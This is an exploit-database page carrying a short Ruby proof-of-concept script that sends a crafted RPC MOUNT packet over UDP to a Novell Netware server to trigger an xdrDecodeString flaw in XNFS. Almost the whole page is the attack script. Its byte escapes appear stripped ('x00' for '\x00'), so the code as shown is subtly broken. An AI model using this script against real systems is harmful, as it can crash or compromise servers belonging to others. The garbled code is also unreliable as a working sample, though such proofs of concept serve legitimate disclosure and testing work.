[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Novell Netware RPC XNFS xdrDecodeString Vulnerability
# Published : 2011-02-24
# Author : Francis Provencher
# Previous Title : Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)
# Next Title : Victory FTP Server 5.0 Denial of Service Exploit


#!/usr/bin/ruby

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

require 'socket'

netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)


beepbeep=
"x1cxd1xefxab"  + # XID
"x00x00x00x00" + # Message Type: Call (0)
"x00x00x00x02" + # RPC Version: 2
"x00x01x86xa5" + # Program: 10005 MOUNT
"x00x00x00x02" + # Program Version: 2
"x00x00x00x01" + # Procedure: MNT  (1)
"x00x00x00x00x00x00x00x00" + #
"x00x00x00x00x00x00x00x00" + #Verifier NULL
"x41x42x43x44"




puts "[+] beep beepn"
puts "[+]No, it's not the road runnern"


if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)n"
    exit
else
    puts "[+]Sending UDP Packet...n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end